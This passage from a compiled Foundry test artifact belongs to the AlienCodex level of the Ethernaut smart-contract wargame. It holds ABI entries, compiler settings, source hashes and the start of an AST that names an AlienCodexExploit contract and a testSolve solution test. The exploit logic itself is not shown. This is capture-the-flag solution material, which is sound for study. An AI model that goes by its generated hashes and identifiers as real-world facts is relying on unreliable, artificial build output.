","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/AlienCodex.t.sol":"TestAlienCodex"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Dummy.sol":{"keccak256":"0xe3393595725cfccb5148374ec33aff5c3034a08a38d02495c10cdd9ec1a21df5","urls":["bzz-raw://78815ecbdbc5f234fa263dba37eb548ef1dfe9e8e170454c29a168fa852e8339","dweb:/ipfs/QmdEfVevGgeHFCG3L14izL56q6TY3v4AiRPHcCdQCjNEZD"],"license":"MIT"},"src/levels/DummyFactory.sol":{"keccak256":"0xb13c5cf5720f2930d36f35b287ae41957942d839e795023ec14c26dab15f7a80","urls":["bzz-raw://228246abd4668e6e2fecb90f79b885717e1bdb9b3c27cfed2780485afde6247f","dweb:/ipfs/QmUGdYkAhT6B8JnvJFLAizsquMfsN1kxx1K5BmG19y8RtN"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/AlienCodex.t.sol":{"keccak256":"0xbe568b21e461ba20f7ed23eddd9094566d2bef8971a5a1492a9382dbd550bb56","urls":["bzz-raw://c4be1737b045b52bb1fcf3508efceae0197825804be7740ec24009694f051bbf","dweb:/ipfs/QmS93Degcegdo9DXgpFvqmXGfRiwC3L1S9LdKxauwhRJZU"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/AlienCodex.t.sol","id":59119,"exportedSymbols":{"AlienCodex":[58885],"AlienCodexExploit":[58946],"DummyFactory":[52145],"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestAlienCodex":[59118],"TestBase":[65],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2422:121","nodes":[{"id":58857,"nodeType":"PragmaDirective","src":"32:23:121","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":58858,"nodeType":"ImportDirective","src":"57:28:121","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":58860,"nodeType":"ImportDirective","src":"86:43:121","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":58859,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:121","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58862,"nodeType":"ImportDirective","src":"131:57:121","nodes":[],"absolutePath":"src/levels/DummyFactory.sol","file":"src/levels/DummyFactory.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":52146,"symbolAliases":[{"foreign":{"id":58861,"name":"DummyFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":52145,"src":"139:12:121","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58864,"nodeType":"ImportDirective","src":"189:48:121","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":58863,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"197:5:121","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58866,"nodeType":"ImportDirective","src":"238:44:121","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":59119,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":58865,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"246:9:121","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":58885,"nodeType":"ContractDefinition","src":"284:181:121","nodes":[{"id":58869,"nodeType":"FunctionDefinition","src":"311:32:121","nodes":[],"functionSelector":"328b52cb","implemented":false,"kind":"function","modifiers":[],"name":"makeContact","nameLocation":"320:11:121","parameters":{"id":58867,"nodeType":"ParameterList","parameters":[],"src":"331:2:121"},"returnParameters":{"id":58868,"nodeType":"ParameterList","parameters":[],"src":"342:0:121"},"scope":58885,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":58874,"nodeType":"FunctionDefinition","src":"348:34:121","nodes":[],"functionSelector":"b5c645bd","implemented":false,"kind":"function","modifiers":[],"name":"record","nameLocation":"357:6:121","parameters":{"id":58872,"nodeType":"ParameterList","parameters":[{"constant":false,"id":58871,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":58874,"src":"364:7:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":58870,"name":"bytes32","nodeType":"ElementaryTypeName","src":"364:7:121","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"363:9:121"},"returnParameters":{"id":58873,"nodeType":"ParameterList","parameters":[],"src":"381:0:121"},"scope":58885,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":58877,"nodeType":"FunctionDefinition","src":"387:28:121","nodes":[],"functionSelector":"47f57b32","implemented":false,"kind":"function","modifiers":[],"name":"retract","nameLocation":"396:7:121","parameters":{"id":58875,"nodeType":"ParameterList","parameters":[],"src":"403:2:121"},"returnParameters":{"id":58876,"nodeType":"ParameterList","parameters":[],"src":"414:0:121"},"scope":58885,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":58884,"nodeType":"FunctionDefinition","src":"420:43:121","nodes":[],"functionSelector":"0339f300","implemented":false,"kind":"function","modifiers":[],"name":"revise","nameLocation":"429:6:121","parameters":{"id":58882,"nodeType":"ParameterList","parameters":[{"constant":false,"id":58879,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":58884,"src":"436:7:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":58878,"name":"uint256","nodeType":"ElementaryTypeName","src":"436:7:121","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":58881,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":58884,"src":"445:7:121","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":58880,"name":"bytes32","nodeType":"ElementaryTypeName","src":"445:7:121","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"435:18:121"},"returnParameters":{"id":58883,"nodeType":"ParameterList","parameters":[],"src":"462:0:121"},"scope":58885,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"AlienCodex","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[58885],"name":"AlienCodex